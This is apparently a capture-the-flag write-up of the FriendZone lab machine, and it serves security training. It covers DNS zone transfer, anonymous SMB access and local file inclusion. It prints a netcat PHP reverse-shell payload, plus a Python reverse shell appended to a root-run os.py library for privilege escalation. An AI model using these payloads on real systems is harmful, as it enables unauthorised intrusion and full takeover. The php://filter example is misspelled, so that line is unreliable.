FriendZone Writeup

0x00 TODO

Why does php://filter/covert.base64-encode/resource={papgename} not work here? Still need to find out.

0x01 Reconnaissance

1. TCP Scan

nmap -A -p- -oA nmap/tcp 10.10.10.123

Quite a few ports are open. This box may give us several ways to proceed.

  • 21: vsftpd 3.0.3, a relatively recent version
  • 22: OpenSSH 7.6p1, a relatively recent version
  • 53: ISC BIND 9.11.3-1ubuntu1.2, a DNS service; domain names may matter here
  • 80: apache 2.4.29, a relatively recent version; web page title Friendxxx
  • 139: samba 3.x ~ 4.x, possibly a vulnerable version
  • 443: apache 2.4.29, a relatively recent version; web page title 404
  • 445: samba smbd 4.7.6, a relatively recent version

2. UDP Scan

nmap -sU -A -p- -oA nmap/udp 10.10.10.123
  • 53: ISC BIND 9.11.3-1ubuntu1.2, a DNS service; domain names may matter here
  • 139: samba 3.x ~ 4.x, possibly a vulnerable version.

Open ports: tcp 21,22,53,80,139,443,445 and udp 53,139.

0x02 Enumeration

Well, checking every service turns up no public exploit. The versions are fairly recent, so a direct exploit does not look promising.

1. Ports 21, 22

No public exploit found. Try anonymous FTP login. It fails.

ftp 10.10.10.123
Name:       anonymous
Password:   (blank)

Nothing else here for now. Leave it.

2. Port 53

No public exploit found. ISC BIND is a DNS service. I do not yet know how it will help, but it may be useful. Make a note of it.

3. Ports 139, 445

No public exploit found. As with FTP, first check whether SMB allows anonymous login, then list the shares and their permissions. That is a necessary step. Login succeeds here.

# 查看文件目录 & 权限
smbmap -H 10.10.10.123
# 匿名登录,翻找是否有敏感数据
smbclient //10.10.10.123

/Development is readable and writable, but empty. /general is read-only. It contains creds.txt. Download and open it locally; it looks like an admin password. Save it for later.

4. Ports 80, 443

No public exploit found. The home page at http://10.10.10.123 is blank. A directory scan with dirbuster finds /wordpress, but there is nothing there either.

This looks like a dead end. With no other way in, go back over the information collected so far: anything missed, any unused clues, or anything we still do not know how to use?

4.1. Finding host-based routing

The nmap results show different pages on 80 and 443. Opening https://10.10.10.123 directly returns 404. Perhaps the server routes requests by domain name, so the right hostname is needed. Which domain name? Look back through the earlier information for clues.

  • The home page says Email us at: info@firendzoneportal.red, pointing to the first domain, friendzoneportal.red.
  • The nmap 443 result contains ssl-cert: commonName=friendzone.red, giving us the second domain, friendzone.red.

Add local entries to /etc/hosts, then open https://friendzoneportal.red and https://friendzone.red in the browser. They do show different pages.

$ vi /etc/hosts
10.10.10.123    friendzoneportal.red friendzone.red
The source of the https://friendzone.red home page has a mysterious /js/js path in a comment. Opening it reveals little. I do not know what it is for.

>

The BIND service on port 53 suggests the target may itself be a DNS Server. There could be more subdomains. Query the target for its DNS records to find the names; this returns several subdomains.

# dig
dig axfr @10.10.10.123 friendzone.red
dig axfr @10.10.10.123 friendzoneportal.red
# host
host -l friendzone.red 10.10.10.123
host -l friendzoneportal.red 10.10.10.123

Process the results into nine domain names and add them all to the local hosts file.

cat fzt | grep IN | awk '{print $1}' | sed 's/\.$//g' | sort -u > hosts # awk 默认按 tab/space 分割,cut 默认按 tab 
$ vi hosts
admin.friendzoneportal.red 
administrator1.friendzone.red 
files.friendzoneportal.red 
friendzoneportal.red
friendzone.red
hr.friendzone.red
imports.friendzoneportal.red 
uploads.friendzone.red
vpn.friendzoneportal.red 
:%s/\n/ /g

Now there are plenty more sites to look at. We are out of that dead end.

4.2. Another round of web enumeration

I visit all nine domains. Only five have pages. While dirbuster scans their directories, I investigate them manually.

friendzoneportal.red
admin.friendzoneportal.red       
friendzone.red
administrator1.friendzone.red  
uploads.friendzone.red
hr.friendzone.red               # 404
imports.friendzoneportal.red    # 404
files.friendzoneportal.red      # 404
vpn.friendzoneportal.red        # 404

The directory scan finds nothing. Visit each site first. There is a web probing tool called aquatone, but I do not have it installed, so I check by hand. Try both http and https: they may give different results.

  • friendzoneportal.red: already checked, nothing useful. Set aside.
  • friendzone.red: already checked, nothing useful. Set aside.
  • admin.friendzoneportal.red: its default login page, login.php, returns the same result whatever parameters it receives. It seems incomplete. Leave it for now.
  • administrator1.friendzone.red: a login page worth investigating.
  • uploads.friendzone.red: an upload page worth investigating.

Focus on those last two domains.

4.3. Login page: https://administrator1.friendzone.red

The admin credentials found earlier let us log in.

4.3. Upload page: https://uploads.friendzone.red

An upload form. Combined with the parameter handling seen earlier, this looks promising.

0x03 Foothold

Following the page's instructions, request https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=timestamp. This reveals the image directory, /images. There is also a b.jpg; changing the parameter to image_id=b.jpg changes both the image and the content below it.

From the parameter names and the behavior, my initial guesses are:

  • image_id specifies the image path.
  • timestamp specifies a page file. This may involve file inclusion, with the backend appending .php to the parameter.

Test that idea by visiting https://administrator1.friendzone.red/timestamp.php. The returned page contains exactly the content shown in the lower-left corner of the earlier page. This indicates local file inclusion through pagename. We just need a way to upload a script and have it included.

Try uploading .php and .jpg files at https://uploads.friendzone.red. The page reports success and returns a timestamp.

$ vi info.php
<?php phpinfo();?>  # 上传的文件

But it gives no file address, and nothing is saved under /images. Did the upload really work, or do we need more enumeration? I try combinations of the filename, with and without its extension, and the returned timestamp in both image_id and pagename. None shows any content. Perhaps nothing was uploaded at all?

With file inclusion, we often only see a file's output after execution. Reading the script itself should make the upload logic much easier to understand.
How can we get the script before it is executed? Apparently the following technique returns the page as base64, which can then be decoded to read its contents.
``` text
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=php://filter/covert.base64-encode/resource=login
```
It does not work in practice here. I do not know why.

If this upload never worked, is there another place to upload? Checking the domains again gets nowhere. Then I remember the writable SMB share.

Upload info.php and try including it.

smbclient //10.10.10.123/Development
> put info.php

The share comment says the /Development share corresponds to /etc/Development on the server.

Visit https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/info to check whether our info.php is included. It works.

Finally, upload a reverse shell script and visit the page to make the backend include it. Catch the shell on Kali.

<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.7 4444 >/tmp/f');?>

0x04 Privilege escalation

Once in, start by checking the configuration.

1. SUID

I find exim4 4.90.1, a vulnerable version, but the exploit does not work.

2. Sudo

A mysql configuration file under /var/www/ contains the password for friend. su friend successfully switches to that user.

/home/friend contains user.txt, the user flag. Out of habit, I run ls -la and notice the hidden .sudo_as_admin_successful file. Could we run root commands directly? Unfortunately, sudo su fails.

3. Crontab

Upload pspy64s to monitor scheduled tasks. It catches a python script being run.

The permissions show that the script is not writable. Most of its logic is commented out, too.

The script contains import os. The script may be unwritable, but that does not mean its imported library is. Find the library with locate os.py and check its permissions. It is writable.

Append Python reverse shell code to /usr/lib/python2.7/os.py.

echo 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.7",4445));dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' >> /usr/lib/python2.7/os.py

Start a local listener with nc -lnvp 4445, wait for the scheduled task, and receive a root shell.

0x05 Attack path

Reconnaissance -> 80/53.DNS zone transfer reveals subdomains -> 445.samba anonymous login + file write -> 443.local file inclusion(www-data) -> cron job + os.py hijack(root)

0x06 Lessons learned

1. Read the certificate details on port 443. They may reveal domain names.

2. Check whether web applications route by hostname, and consider DNS zone transfers.

3. Try anonymous login on ftp and smb first.

4. Read Samba share comments so you do not miss useful information.

5. There may be several ways to upload a file. If one is going nowhere, revisit the information already collected and try another route.

6. If a file run by root is not writable, check the external files it uses. One of those may be writable.